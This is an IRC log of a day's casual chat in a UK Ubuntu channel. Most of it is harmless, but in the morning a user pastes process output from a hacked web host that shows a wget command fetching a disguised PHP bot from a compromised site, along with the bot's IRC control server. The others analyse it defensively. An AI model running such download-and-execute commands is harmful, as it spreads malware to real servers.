[00:22] <daftykins> how can any chat client think it a good idea to give exact versions in a quit 0o
[00:28] <penguin42> daftykins: I guess it takes all of the annoying messages out of people trying to probe to find exactly what version you have
[00:31] <daftykins> penguin42: :D
[01:40] <ali1234> looks like a new php worm is doing the rounds
[02:11] <ubuntuuk-planet> [Jono Bacon] Awesome Unity Contributions - http://www.jonobacon.org/2012/02/23/awesome-unity-contributions/
[07:39] <AlanBell> choo choo
[07:51] <DJones> Bless you
[07:53] <MooDoo> morning all
[08:01] <DJones> Morning MooDoo
[08:28] <AlanBell> so, Waterloo to Canary Wharf without using the Jubilee line
[08:28] <AlanBell> any suggestions?
[08:32] <diplo> Morning all
[08:32] <diplo> And not a clue :)
[08:33] <diplo> Bloody web host server has died for second time in 2 weeks
[08:33] <MooDoo> :(
[08:34] <diplo> In there support ticket they say this is why you should get a VPS with us
[08:34] <diplo> Umm no, this is why we should move
[08:34] <aquarius> AlanBell, then you have to go the DLR; CAnary Wharf's only on the DLR and Jubilee
[08:34] <jpds> AlanBell: River boat service.
[08:35] <aquarius> so waterloo to bank on the waterloo, then the DLR.
[08:35] <aquarius> or go on the river, like jpds says :)
[08:35] <aquarius> or a cab :)
[08:36] <MooDoo> diplo: you using windows on it ;)
[08:36] <diplo> Seems they are actually being ddos'd or something
[08:36] <diplo> hmm no actually other way round
[08:36] <MooDoo> just joking mate...
[08:36] <diplo> 26017 ?        SN     0:00 php Vivie
[08:36] <diplo> 26018 ?        SN     0:00 sh -c wget http://www.buolkab.go.id/disbudpar/bogel.jpg -O Viv
[08:37] <diplo> 2
[08:37] <diplo> buolkab php vivie
[08:37] <diplo> Search for that in google
[08:37] <AlanBell> Going for the boat
[08:37] <diplo> Site hacked by :)
[08:37] <diplo> ps ax is full of that above :(
[08:37] <MooDoo> so it's not the vps host, it's a cracked site? or am i reading this wrong?
[08:38] <diplo> I think they are using the reseller account to try and hack other sites myself
[08:38] <diplo> and basically killed it
[08:39] <MooDoo> so cracked site then....sigh, i hate them
[08:39] <popey> bogel.jpg: PHP script, ASCII text, with very long lines, with CRLF line terminators
[08:40] <popey> irc.vivie.biz is probably worth blocking, thats the irc server it connects to
[08:40] <diplo> Did you just grab the file ?
[08:40] <popey> yes
[08:42] <diplo> We're stuck with webhosts but will pass this on cheers.
[08:42] <MooDoo> diplo: who you with?
[08:43] <diplo> Compila, some one else chose years ago
[08:43] <diplo> We have problems with them all the time, trying to talk our company into us hosting via a vps or something
[08:43] <diplo> http://www.compila.com/
[08:46] <diplo> One of the guys at work want to go with this company http://www.daily.co.uk/products/virtual-private-servers/index.html
[08:49] <czajkowski> aloha
[08:49] <diplo> popey, had a read through the script ?
[08:49] <diplo> Basically going through loads of vulnerabilitys and PMing that IRC channel
[08:51] <diplo> then grabs a perl script from the irc channel and dumps it in /tmp
[08:51] <BigRedS> surely blocking outbound irc is the first step?
[08:51] <BigRedS> 99% of the time these people run everything on the default ports
[08:51] <diplo> Depends what port they run on I guess unless doing deeper inspection
[08:51] <diplo> 7000 for these guys
[08:52] <popey> diplo: I recommend bitfolk ☺
[08:52] <BigRedS> yeah, so just drop anything to 6000-7000 and 80
[08:52] <diplo> heh I'm already trying with them
[08:53] <diplo> But what the others don't like is that others are cheaper, and as I keep telling them with Compila as an example, cheap != Good
[08:53] <diplo> BigRedS, I don't think they are competent enough :(
[09:01] <AlanBell> I am on a boat
[09:01] <gord> choo choo
[09:01] <gord> stop one upping me :P
[09:01] <gord> not sure what sound a boat makes... splish splash?
[09:02] <czajkowski> AlanBell: lotta trains messed up this morning
[09:04] <jpds> czajkowski: Just this morning?
[09:06] <davmor2> czajkowski: prod
[09:06] <AlanBell> it is a thames clipper so it goes whoosh
[09:07] <davmor2> morning all
[09:07] <davmor2> MooDoo: you great hippy ;)
[09:07] <MooDoo> morning davmor2 and thanks
[09:08] <czajkowski> davmor2: ello
[09:08] <czajkowski> AlanBell: aye love the chopper
[09:09] <AlanBell> clipper
[09:13] <davmor2> czajkowski: You've seen AlanBell's chopper, but AlanBell you said you only cut up things in front of me :D
[09:17] <andylockran> owdy all
[09:23] <andylockran> How's we doing?
[09:23] <DJones> Speaking of travel, if anybody is heading up the M1, its closed between J9 and J11, 4 lorry accident according to BBC
[09:27] <bigcalm_lappy> Hellooooooo
[09:29] <AlanBell>  whoooosh
[10:04] <dwatkins> oh my, the M1 was bad enough with all the roadworks :/
[10:07] <mattt> morning
[10:17] <czajkowski> bigcalm: davmor2 how is the lighthouse?
[10:18] <davmor2> czajkowski: according to chilly chilly mrevell fairly warm in comparison to last time
[10:20] <czajkowski> awwww please mind my boss and bring him coffeee!
[10:22] <davmor2> No mrevell is old enough to get his own coffee :P
[10:22] <mrevell> I have a wonderful team
[10:22] <mrevell> so glad davmor2 isn't on it.
[10:24] <bigcalm_lappy> czajkowski: warm today. And this has to be the day I wear thermals.
[10:24] <bigcalm_lappy> Also, I need to add bigcalm to my highlight strings
[10:26] <davmor2> mrevell: You're only jealous of my ability to be evil muhahahahahaha
[10:27] <mattt> seriously, what's the deal w/ this lighthouse
[10:27] <mattt> if someone is working from a lighthouse, please invite me
[10:27] <czajkowski> bigcalm_lappy: always the way :)
[10:27] <bigcalm_lappy> Haha
[10:28] <gord> mattt, not an actual lighthouse
[10:28] <czajkowski> mattt: http://light-house.co.uk/
[10:28] <bigcalm_lappy> mattt: If only this were the case. I think I should move to the coast
[10:28] <mattt> :~(
[10:29] <mattt> thought it was a proper lighthouse
[10:30] <bigcalm_lappy> mattt: where in the UK are you?
[10:31] <bigcalm_lappy> davmor2: gord: mrevell: coffee?
[10:31] <mattt> bigcalm_lappy: live outside reading, work west london
[10:31] <gord> bigcalm_lappy, yes please
[10:31] <mattt> bigcalm_lappy: you?
[10:31] <bigcalm_lappy> mattt: bit far for our light house then sadly
[10:31] <davmor2> bigcalm_lappy: No cappuccino please
[10:31] <bigcalm_lappy> Near Telford, Shropshire
[10:31] <czajkowski> oh gord is there
[10:31] <mattt> far too far
[10:31] <bigcalm_lappy> davmor2: that is a type of coffee :P
[10:42] <MartijnVdS> Sometimes, seemingly at random times, a "Search" bar opens at the top of my screen
[10:42] <MartijnVdS> (Unity, 12.04)
[10:42] <MartijnVdS> is that a bug, or some feature I don't know about?
[10:43] <MartijnVdS> it's just "Search", not the icons I get with it when I press the "windows" key
[10:45] <MartijnVdS> ah, it's the HUD
[10:45] <MartijnVdS> *disable*
[10:46] <brobostigon> good morning everyone,
[10:47] <MartijnVdS> \o
[10:47] <brobostigon> o/
[10:48] <DJones> Does anybody here (as a business) use paypal to accept payments from customer? Just been asked whether it would be worth doing where I work, boss thinks it'll save on credit card charges etc, but I thought paypal took a charge from the person paying and a deduction from what they pay over to the seller
[10:49] <bigcalm_lappy> davmor2 is cheap
[10:49] <MooDoo> bigcalm_lappy: you've only just worked that out? ;)
[10:49] <bigcalm_lappy> MooDoo: I've just had verbal proof from the man himself
[10:50] <AlanBell> djones it is good for low value international payments
[10:51] <DJones> AlanBell: What do you class as low value? we'd be looking at anything from £1K to £100K, international and domestic
[10:51] <directhex> paypal has two major issues - they gouge you on fees, and if you start trading in any volume, they sit on payments for more than a month for "security"
[10:52] <Azelphur> Little bit rude, but I think most people here will find this hilarious: http://www.youtube.com/watch?v=j-kbMF1GF2A&hd=1 :D
[10:54] <bigcalm_lappy> I fear that there is a really vicious dentist in the cafe next to us
[10:54] <DJones> directhex: by volume, do you mean lots of small transactions, or just single large value transactions, ours would probably be occasional higher value transactions
[10:55] <directhex> DJones, either
[10:55] <DJones> Thanks, that wouldn't be good for us, as we get money and then can have to pay it out straight away to 3rd parties
[10:56] <czajkowski> also going by past experience of looking at what paypal do, if they don't like the organisation they stop kpayment transactions
[10:56] <directhex> and keep the money
[10:57] <DJones> I saw a few comments about that
[10:58] <DJones> A charity that was collecting funds for a disaster and one of the Minecraft dev's had $600K frozen
[11:03] <davmor2> czajkowski: make gord fix alt-tab he says won't for me make him go on make him :D
[11:03] <czajkowski> davmor2: you're the one sitting beside him
[11:04] <czajkowski> give him a dead arm till he fixes it
[11:04] <czajkowski> or else get no more coffee/tea allowed for him
[11:04] <bigcalm_lappy> No soup for you!
[11:05] <gord> this is not a positive method of encouragement. i like money
[11:05] <czajkowski> I like not having a dead arm and tea when needed
[11:05] <czajkowski> :)
[11:12] <diplo> What would be the effects of using a 2.6.9.* kernel on a Xeon E5640 ?
[11:12] <diplo> I'm hoping issues with speed etc
[11:23] <mrevell> Sometimes only Viking themed metal will do.
[11:24] <czajkowski> gah what worked for one solution wil not work for another and I am baffled as to know why
[11:24] <czajkowski> >:(
[11:24] <czajkowski> baffled/annoyed
[11:30] <directhex> diplo, real 2.6.9, or red hat 2.6.9?
[11:33] <diplo> Redhat ( CentOS 4.8 )
[11:34] <diplo> We have a system that is really slow on new hardware, compared to old server
[11:35] <diplo> Reports that used to take 17mins now can take 40+ on a newer machine
[11:35] <diplo> Trying to track down the issue :)
[11:35] <diplo> Only issue I can think of now is kernel, but don't know if that would be the cause
[11:43] <popey> \o/ lenovo guy been and left
[11:43] <popey> I can haz new mobo
[11:45] <brobostigon> !hud
[11:45] <seeker> popey: Only 2 days late?
[11:46] <directhex> diplo, have you isolated which things specifically seem slow? cpu ops, networking, io?
[11:46] <directhex> diplo, red hat backport all the drivers ever to their rhel kernels, that's the only reason rhel is remotely useful. so it should be fine on new kit
[11:47] <brobostigon> does someone have the HUS ppa addr, i cant access the HUD ppa page on launchpad.
[11:47] <diplo> yeah, pretty sure it's cpu
[11:47] <ikonia> diplo: what makes you think it's cpu ?
[11:47] <diplo> hdparm on discs etc are gettingmuch higher throughput
[11:48] <diplo> No full reason, and I'm stuck and that's why I'm asking I guess
[11:48] <diplo> Old server doesn't max CPU out this one does
[11:48] <popey> yeah seeker
[11:48] <diplo> It's an idea really.. we've just about hacked our old system to work on cent6 now so hopefully going to test that
[11:49] <diplo> I've never had to do optimisation/checking of issues like this before
[11:50] <seeker> popey: Refund on "next day"?
[11:50] <popey> nah
[11:51] <diplo> directhex / ikonia : Can you recommend anything to try and isolate the issues ?
[11:51] <andylockran> guys, how do I know what devices are given network names in ubuntu
[11:51] <andylockran> eg, lspci shows the ethernet deivce
[11:51]  * czajkowski waves at davmor2 bigcalm_lappy gord 
[11:51] <andylockran> how cna I see which alias it has?
[11:52]  * bigcalm_lappy hugs mrevell's screen to pass on a hug to czajkowski
[11:55] <mgdm> andylockran: ip link show ?
[11:56]  * bigcalm_lappy slowly headbuts claws
[11:56] <seeker> mgdm \o/
[11:58]  * davmor2 tickles czajkowski 
[12:08] <aquarius> ok, so, my mate's wubi install won't boot; the windows bootloader drops him to grub, and the grub prompt
[12:09] <aquarius> after much exceedingly annoying research about how wubi boots with a loopback thingy and trying lots out... it still won't boot
[12:09] <mrevell> bigcalm_lappy, I think gord should come every time, as he attracts davmor2's speech.
[12:09] <aquarius> grub seems to think that the loopback file is an unknown filesyste,
[12:09] <aquarius> Suggestions? These can include "repair it", if someone knows how.
[12:09] <bigcalm_lappy> mrevell: I agree
[12:11] <ubuntuuk-planet> [Gareth France] Musings on the superiority of the Windows platform - http://cliftonts.co.uk/cubuntu/?p=101
[12:14] <aquarius> who even owns wubi? :)
[12:15] <bigcalm_lappy> Burnt my fingers squeezing a tea bag
[12:15] <bigcalm_lappy> Owie
[12:17] <ikonia> diplo: sorry I was just on the phone, how are you getting on ?
[12:17] <diplo> Just about to try with SAR
[12:17] <diplo> Remembered it from my RS/6000 IBM days
[12:17] <diplo> See if i can get any info from that
[12:17] <ikonia> diplo: I missed your response earlier, any reason you think it's cpu over something else ?
[12:18] <ikonia> diplo: you'll get historical data better with sar rather than real time troubleshooting
[12:18] <diplo> No not really, I'm just not very good at diagnosing these issues, disc is a lot faster with hdparm
[12:18] <mrevell> http://memegenerator.net/instance/14986844
[12:19] <ikonia> diplo: that's fine, it's not a critisism, just trying to get background info
[12:19] <ikonia> diplo: tell me about these reports that are taking time to run, what sort of thing are they and how are they generated
[12:19] <diplo> Trying to find ways of working out how to find on the web is being rather fruitless unless you have a fair understanding to start with i think
[12:20] <diplo> From a acient ERP system written in a language called Simple
[12:20] <diplo> Uses Cisam DB backend
[12:20] <ikonia> diplo: yes, I appreciate unless you look for how to fix $something searching for $whats_doing_this can be a problem
[12:20] <diplo> On old Server 5+ years old
[12:20] <diplo> takes 14 mins to run
[12:20] <diplo> New server takes 55 mins
[12:20] <ikonia> diplo: is the data needed to create these reports ?
[12:20] <diplo> Yep, reads from the cisam db
[12:21] <ikonia> diplo: ok is the cisam db, hosted locally or on a remote server ?
[12:21] <diplo> Local
[12:21] <diplo> It's basically exactly the same setup as old server apart from new hardware
[12:21] <diplo> Same OS version
[12:21] <ikonia> diplo: ok, so an obvious first question for me is bench mark how quick you can get the data from the database
[12:22] <ikonia> diplo: check it on the old machine, same query on the new machine
[12:22] <ikonia> diplo: that way you know where if the delay is caused by the fetch or not and you can move onto the next thing
[12:22] <diplo> Good thinking, can write a simple program just to see if it's DB related
[12:22] <diplo> See, a fresh mind helps.. ta!
[12:23] <ikonia> diplo: if it is/is not the DB we can then zero in on the DB, or dump it and move on to the next thing
[12:25] <diplo> Sounds good, trying to dive to deep to early
[12:25] <diplo> thanks ikonia
[12:26] <ikonia> no problem, let me know if you need a hand
[12:26] <diplo> My simple skills are lacking somewhat but I don't think you really want to see that code :)
[12:27] <diplo> Simple by name, simple by nature as well.. really bad :)
[12:27] <ikonia> as I've never heard of "simple" I suspect I would be useless
[12:27] <diplo> heh, it was used by a fair few companies. They have all since died and our company now owns/bought the license
[12:27] <diplo> So unless you work for us or have an old system that still uses the code you never will
[12:46] <brobostigon> ii shall have to do a mumbuntu test, with the new unity, and see what my mum thinks.
[12:46] <popey> I would recommend trying it yourself first
[12:46] <brobostigon> i am doing so now.
[12:46] <popey> and appraising yourself of all the features and shortcuts
[12:46] <brobostigon> agreed,
[12:49] <bigcalm_lappy> http://failblog.org/2012/02/23/epic-win-photos-win-wwf-win/

[13:36] <davmor2> MOOO!
[14:40] <s-fox> Boo! This is the ghost of s-fox @ davmor2 :D
[14:43] <davmor2> aarrrrrrrrgggggghhhhhhhhhhhhh!
[14:44] <s-fox> >:)
[14:58] <MooDoo> hi s-fox you ghosty you
[14:58] <s-fox> o/
[15:04] <MooDoo> :)
[15:05] <s-fox> How are you MooDoo  ?
[15:10] <MooDoo> s-fox: all the better from seeing you :) lol
[15:17] <popey> just found a laptop in a drawer running maverick
[15:17] <brobostigon> :)
[15:17] <Laney> impressive battery life
[15:17] <s-fox> You forgot where you put the laptop popey ?
[15:17] <popey> haha
[15:17] <popey> first boot it wants to upgrade to natty ☺
[15:18] <popey> originally installed back in 2008
[15:21] <popey> probably reinstall, would be quicker than going 10.10 -> 11.04 -> 11.10 -> 12.04
[15:21] <Laney> upgrading might catch bugs
[15:21] <popey> true
[15:21] <popey> but its a very slow machine
[15:22] <popey> meh, its not busy, might as well upgrade
[15:23] <czajkowski> davmor2: having fun ;)
[15:23] <davmor2> Aye
[15:24] <s-fox> MooDoo,  And I to0 for seeing you...
[15:24] <bigcalm_lappy> popey: good battery life
[15:25]  * bigcalm_lappy refuses to read up
[15:35] <AlanBell> anyone tried the LTS to LTS upgrade?
[15:36] <brobostigon> not yet, but will have to on my vps.
[15:37] <popey> AlanBell: yes
[15:37] <popey> on my hp microserver
[15:40] <gord> lts -> lts is tested iirc
[15:40] <gord> so i'd expect it to work well
[15:41] <brobostigon> so it is unlikely, i will trash my vps ?
[15:42] <gord> upgrading is not something to take likely no matter how well tested if you ask me
[15:42] <brobostigon> agreed, i will backup.
[15:43]  * czajkowski tickles gord hello there...
[15:44] <gord> suspicious...
[15:44] <bigcalm_lappy> Suspicious tickles?
[15:44] <MooDoo> suspicious minds?
[15:44] <popey> aw drat
[15:45] <bigcalm_lappy> Saw that coming :)
[15:45] <brobostigon> suspicious feet.
[15:45] <MooDoo> brobostigon: no that's happy feet ;)
[15:45] <brobostigon> MooDoo: :)
[15:47] <popey> this laptop was last booted on 7th oct 2011
[15:47] <popey> squillions of updates
[15:47] <AlanBell> DJones: if using paypal you need to do the maths, for tranferring £2k to belgium it was much cheaper to use the bank, for £40/month or something like that from some small island somewhere paypal is a lot cheaper
[15:51] <bigcalm_lappy> Bit busy in the Light House this afternoon
[15:51] <AlanBell> pics plz
[15:53] <DJones> AlanBell: Customers are mostly uk/usa/europe, bank transfer works out cheapest anyway, boss was considering allowing people to pay from their paypal account, but after what he's read, that idea has been binned
[15:54] <s-fox> Forum is back up btw,  not that anyone was asking about it
[15:55] <AlanBell> yeah, bank transfers feel expensive, I think it is £17 or something (cheaper with internet banking) but it works out cheaper overall
[15:56] <AlanBell> for a company that tracks and sometimes initiates the downfall of nations, they have very poor coffee here
[15:56] <DJones> AlanBell: We're the recipient, so we don't get charged, just the payer gets charged
[15:57] <AlanBell> DJones: yeah, we switched to paypal for one customer as the bank was effectively charging them a 100% surcharge
[15:58] <DJones> AlanBell: Ouch
[16:02] <gord> AlanBell, where is "here"?
[16:03] <bigcalm_lappy> davmor2 looks to be picking a fight with his laptop
[16:03] <MooDoo> bigcalm_lappy: £10 on the lappy
[16:03] <MooDoo> L:)
[16:03] <bigcalm_lappy> Haha
[16:04] <davmor2> MooDoo: come over here a minute
[16:12] <MooDoo> davmor2: no thanks i value my chin
[16:13] <czajkowski> bigcalm_lappy: davmor2 mrevell one of ye whack gord please!
[16:13] <gord> whyyyy
[16:13] <czajkowski> why'd ya think!
[16:13] <gord> i'm too fantastic, its affecting your ability to think?
[16:14] <bigcalm_lappy> Heh
[16:14] <bigcalm_lappy> davmor2 was closest
[16:14]  * AlanBell supects bug 938764 or similar
[16:14] <davmor2> czajkowski: he's now in the corner crying why did I hit him
[16:15] <gord> bloo hoohoo
[16:16] <AlanBell> gord: I wouldn't give their coffee a AAA rating
[16:16] <czajkowski> davmor2: my alt screen is driving me crazy
[16:16] <czajkowski> crazier
[16:18] <bigcalm_lappy> Hazar! last.fm has finally blessed my ears with some dub-step \o/
[16:19]  * bigcalm_lappy slowly vibrates in his chair
[16:19] <diplo> blessed bigcalm_lappy !!!
[16:19] <diplo> I can't call it blessed!
[16:19] <diplo> :)
[16:19] <bigcalm_lappy> All hail the mighty dub-step!
[16:20] <bigcalm_lappy> The only way I can justify working here is that I know I can do a further 3-4 hours once I get home. And be more productive than the rest of the day
[16:30] <exaem> Off topic conversation here but do any of you guys use a DE safety razor?
[16:32] <diplo> Don't know what one is so I'll go with no
[16:32] <davmor2> czajkowski: simple solution don't use an alternate screen :P
[16:34] <jpds> exaem: No I do not use a German safety razor.
[16:38] <gordonjcp> DE?
[16:44] <bigcalm_lappy> Quitter
[16:53] <kazade> alright peeps
[16:54] <kazade> I don't suppose anyone has had any trouble upgrading to Precise?
[16:54] <kazade> http://pastie.org/private/e8bsbi51pcdozhmf6avqa :(
[17:00] <popey> hi kazade
[17:01] <popey> kazade: what mirror you using?
[17:06] <kazade> hi popey
[17:06] <kazade> main
[17:06] <kazade> I'll try UK, one sec
[17:08] <kazade> aha!
[17:08] <kazade> weird, I'd already tried two mirrors...
[17:08] <kazade> UK worked though, thanks popey
[17:08] <popey> cool
[17:10] <kazade> how's things with you anyway popey? Enjoying Canonical?
[17:12] <popey> yes ☺
[17:13] <andylockran> anyone at phpuk1@?
[17:19] <gordonjcp> can someone remind me how to stop pulseaudio without it constantly respawning, please?
[17:20] <popey> gordonjcp: /etc/pulse/client.conf
[17:20] <popey> autospawn = no
[17:20] <gordonjcp> cool, thanks
[17:24] <popey> np
[17:25] <gordonjcp> cool, I can start a jack server with no ports configured *at all* and add hardware in dynamically with alsa_in and alsa_out
[18:14] <brobostigon> question, if i do and install, from a persistant live-sd, do the changes i have made, carry, when i do an install from that?
[18:25]  * bigcalm falls into his office
[18:26] <AlanBell>  choo choo
[18:26] <popey> brobostigon: what, kind, of, changes?
[18:27] <popey> celeron still upgrading to 11.04..
[18:29] <bigcalm> What will do you do with it?
[18:30] <popey> upgrade to 12.04 eventually
[18:32] <bigcalm> I meant what use will you have for it?
[18:32] <daubers> Evening
[18:33] <bigcalm> Morning
[18:33] <popey> dunno
[18:33]  * daubers puts his feet up and plays skyrim
[18:35] <brobostigon> popey: networks setting, wifi specficlly.
[18:37] <brobostigon> networking*
[18:38] <popey> yeah, i think so
[18:38] <brobostigon> thank you, that will make things easier.
[18:39]  * popey makes home made burgers
[18:40] <daubers> #
[18:51] <mgdm> Laney: can we have pandoc 1.9 backported to Oneiric? :)
[18:51] <Laney> yes
[18:51] <Laney> I await your request :-)
[18:52] <mgdm> I'll play with LP after my talk, then :)
[18:52] <Laney> well, it's not even in precise yet
[18:52] <mgdm> ah
[18:52] <mgdm> I'm rather hoping that cabal installs it reasonably fast, as I need 1.9 for about 20 mins from now
[18:53] <Laney> . o O ( or Debian )
[18:53] <mgdm> well this is an Oneiric laptop
[18:53] <mgdm> the Mac at work has 1.9 from the package, which is handy
[18:53] <Laney> the pipeline is rather empty
[18:53] <bigcalm> mgdm: oauth 2.0 in php, done any?
[18:54] <mgdm> I wrote stuff using dzslides, which isn't in 1.8
[18:54] <mgdm> bigcalm: nope
[18:54] <bigcalm> Oh well
[18:54]  * bigcalm wanders into it blindly :D
[18:54] <bigcalm> Have decided to use it to auth API calls
[18:55] <mgdm> we're looking at it, but haven't implemented yet
[18:55] <bigcalm> http://code.google.com/p/oauth2-php/ is what I'm going to attempt to use
[19:24]  * daubers puts some music on and tries to sort out his arduino programming workflow
[19:24] <MartijnVdS> \o/ 'duino
[19:24] <daubers>  /o\ workflow
[19:25]  * Laney flows all over
[19:26] <bigcalm> Tea!
[19:37] <MartijnVdS> daubers: What kind of workflow do you have? :)
[19:38] <daubers> none at the mo :)
[19:38] <MartijnVdS> daubers: I've not yet written huge programs, so 'apt-get install arduino' is still enough for me :)
[19:38] <MartijnVdS> (12.04 has 1.0!)
[19:41] <MartijnVdS> Arduino programs can't be too big anyway ;)
[19:42] <MartijnVdS> daubers: I'm hooking one of mine up to a WRT54GS (which has on-board serial ports) and some sensors
[19:42] <MartijnVdS> daubers: WRT -> collectd on NAS -> pretty graphses
[19:42] <daubers> MartijnVdS: I have 3 versions of arduino on this laptop as I haven't moved some of my sketches to 1.0
[19:43] <MartijnVdS> daubers: Ah, I got my first arduino only a few weeks ago, when 1.0 was already out
[19:43] <daubers> ah :)
[19:43] <MartijnVdS> Only had to translate one example sketch (for a temperature/pressure sensor)
[19:43] <MartijnVdS> (Wire.read/write vs receive/send
[19:44] <daubers> yeah#
[19:44] <daubers> I'm just finishing off the hackspaces door
[19:45] <daubers> Then need to start work on an open source security system :)
[19:45] <MartijnVdS> OSSS
[19:52] <MartijnVdS> daubers: hall effect sensors/reed switches on the windows and doors, that kind of thing?
[19:52]  * popey hands bigcalm a php bug 61095
[19:52] <MartijnVdS> daubers: lots of loud piezo buzzers?
[19:52] <popey> bah
[19:52] <popey> https://bugs.php.net/bug.php?id=61095
[19:54] <MartijnVdS> popey: fun! ;)
[19:55] <daubers> MartijnVdS: Some of them, yep. RFID door access, considering some kind of nightingale floor system too (for giggles)
[19:55] <MartijnVdS> daubers: what, not laser tripwire?
[19:55] <diplo-> evening all
[19:55] <MartijnVdS> http://hackaday.com/2011/04/19/laser-trip-wire-the-bare-essentials/
[19:56] <daubers> http://en.wikipedia.org/wiki/Nightingale_floor
[19:57] <MartijnVdS> daubers: ouch my ears
[19:58] <MartijnVdS> daubers: still.. tripwire lasers would be a cool security feature
[19:58] <daubers> MartijnVdS: I'd use accelerometers instead though
[19:58] <MartijnVdS> Very "Welcome to our underground lair"
[20:03] <penguin42> daubers: Now, don't spray them with stuff from DIYBIO
[20:04] <daubers> I'm not that mean!
[20:04] <penguin42> really?
[20:05] <penguin42> popey: Wonderful bug
[20:05] <daubers> penguin42: This evening anyway
[20:18] <bigcalm> What have I missed today?
[20:18] <bigcalm> Apart from my productivity
[20:19] <MartijnVdS> Caffeine?
[20:19] <bigcalm> Had quite a bit of that
[20:19] <bigcalm> Hope that I get to sleep tonight
[20:20] <MartijnVdS> bigcalm: Matt Smith on Top Gear next Sunday
[20:20] <bigcalm> Ah, I've lost interest in TG :(
[20:21] <MartijnVdS> also in the doctor?
[20:25] <popey> yeah, i have lost interest too
[20:26] <popey> annoyingly i have two tickets to go and see it
[20:33] <MartijnVdS> popey: http://www.reddit.com/r/lolphp
[20:38] <popey> hah
[20:40] <bigcalm> Eh?
[20:40] <MartijnVdS> bigcalm: ^
[20:40] <bigcalm> MartijnVdS: reading the link, maybe I don't understand reddi
[20:40] <bigcalm> t
[20:41] <MartijnVdS> bigcalm: It's a lot of links with discussions attached
[20:41] <MartijnVdS> bigcalm: this "subreddit" (/r/lolphp) is about PHP being laugh-worthy
[20:41] <bigcalm> OK
[20:41] <bigcalm> Everybody will hate on something
[20:42] <bigcalm> But why direct the link to popey when he's not a PHP coder?
[20:42] <MartijnVdS> he posted the link here, and on g+
[20:42] <MartijnVdS> so I thought he might be interested :)
[20:43] <bigcalm> I see
[20:44] <popey> i thought it lolworthy
[20:44] <popey> I have written php in my time :D
[20:44] <popey> I actually wrote a system that does what twitter does ☺
[20:44] <popey> had a phone hooked up to a serial port which received texts and made them into posts on a php page
[20:44] <MartijnVdS> Aww, do you feel cheated out of your millions? ;)
[20:45] <popey> ☺
[20:45] <bigcalm> popey: sorry for saying that you were not a PHP coder
[20:45] <popey> oh I'm not really ☺
[20:46] <MartijnVdS> .. you play one on tv?
[20:46] <popey> http://web.archive.org/web/20020619225132/http://clunky.net/
[20:46] <MartijnVdS> .. but late at night, when you're alone..?
[20:47] <popey> http://web.archive.org/web/20020924122254/http://clunky.net/
[20:47] <popey> better
[20:47] <popey> initially it was sms to email then I made it so you could 'blog' from it
[20:48] <popey> only 10 years ago ☺
[20:48] <MartijnVdS> Cool
[20:48]  * MartijnVdS was writing a customer database for an ISP back then
[20:54] <diplo-> Anyone suggest me a good domain name, can't think of anything :(
[20:54] <diplo-> Just want it for spare/testing
[20:54] <popey> thisismydomainnamefortestingstufnowgoaway.com ?
[20:54] <MartijnVdS> daubers: no-use.com ?
[20:54] <MartijnVdS> uhr
[20:54] <MartijnVdS> diplo-:
[20:55] <popey> testytestington.com
[20:55] <MartijnVdS> oh that's owned by a domain farm/extortionist
[20:55] <diplo-> lol
[20:55] <popey> i wish they would all die in a fire
[20:55] <popey> seriously
[20:55] <MartijnVdS> yes, they should
[20:56] <MartijnVdS> diplo-:     No match for "diplo-matic.co.uk".
[20:56] <diplo-> Yep, quite a few in the past i wanted
[20:56] <popey> hah, like that
[20:56] <diplo-> wanted diplo for years, was hoping the guy who had it would give up but no luck
[20:57] <MartijnVdS> diplo-: ^
[20:57] <diplo-> not to bad, not sure :)
[20:57] <diplo-> used to have apartington.co.uk
[20:57] <diplo-> Wonder whether i just renew that
[20:58] <AlanBell> evening all
[20:58] <MartijnVdS> \o AlanBell
[21:01] <daubers> \o/
[21:01] <daubers> Finally got my RFID reader stable
[21:02] <bigcalm> Hi AlanBell
[21:06] <AlanBell> http://www.youtube.com/watch?v=NKtFJnGB5i4
[21:07] <MartijnVdS> daubers: http://www.sparkfun.com/tutorials/319
[21:12] <daubers> MartijnVdS: Swank :)
[21:15] <diplo-> MartijnVdS, olpid.co.uk ?
[21:15] <diplo-> Short
[21:37] <monsterwizard> Hello
[21:38] <mattt> evening
[21:43] <MartijnVdS> \o
[21:46] <monsterwizard> Is it possible to make it into the IT industry without a comp sci degree?
[21:47] <popey> yup
[21:47] <JamesTait> monsterwizard: Absolutely.
[21:48] <monsterwizard> Because I think I would like to get a degree eventually
[21:48] <monsterwizard> but now I want to work
[21:48] <monsterwizard> I found an apprentiship scheme
[21:48] <diplo-> monsterwizard, I have no qualifications myself
[21:48] <monsterwizard> ah this is giving me hope
[21:48] <KrimZon> I dropped out of uni
[21:49] <monsterwizard> After what year?
[21:49] <KrimZon> I didn't get very far at all
[21:49] <KrimZon> mostly cause I missed all the start stuff and couldn't get back in
[21:50] <monsterwizard> What job did you get afterwards?
[21:51] <KrimZon> I did web development for a small company at a crap wage until I had enough on-paper experience for recruiters
[21:51] <AlanBell> I pursued a degree at Nottingham University
[21:51] <AlanBell> never quite caught it
[21:51] <KrimZon> I just really wanted to work with computers and got impatient at learning stuff
[21:51] <JamesTait> monsterwizard: I did a BSc in Applied Computing. Most of what I studied was just a formalisation of stuff I already knew.  Most of what I've used professionally was stuff I'd learned in my spare time.
[21:52] <MartijnVdS> AlanBell: I know Nottingham University through Sixty Symbols and Periodic Videos :)
[21:52] <AlanBell> monsterwizard: where in the country are you looking?
[21:52] <monsterwizard> UK
[21:52] <AlanBell> MartijnVdS: yeah, it wasn't as fun as that when I was there
[21:52] <monsterwizard> I mean, I am willing to study for the certs.
[21:53] <AlanBell> what is the apprentiship scheme?
[21:54] <monsterwizard> Here.
[21:54] <monsterwizard> http://www.zenos.com/assets/downloads/Zenos-Timeline-19-24-2011.pdf
[21:54] <monsterwizard> I mean, it's very windows centric to my dislike.
[21:54] <monsterwizard> I would like to be a linux sys admin
[21:54] <monsterwizard> but begger cannot be choosers
[21:58] <AlanBell> taking on an apprentice is an interesting option for us that has been suggested
[21:58] <AlanBell> don't think I would want someone doing that course though
[21:59] <monsterwizard> Oh
[21:59] <monsterwizard> How come?
[21:59] <AlanBell> same reason you don't want to do it :)
[21:59] <monsterwizard> haha!!
[21:59] <AlanBell> we are a Free Software consultancy
[21:59] <monsterwizard> oh neat
[22:00] <monsterwizard> Do you think it would be a good idea to ring companies and ask if they'll take on an apprentice?
[22:00] <monsterwizard> the thing is, I'm over 19
[22:00] <AlanBell> yes
[22:01] <diplo-> monsterwizard, I was 24/25 when i first got into pc's
[22:01] <diplo-> Hadn't really touched one before that
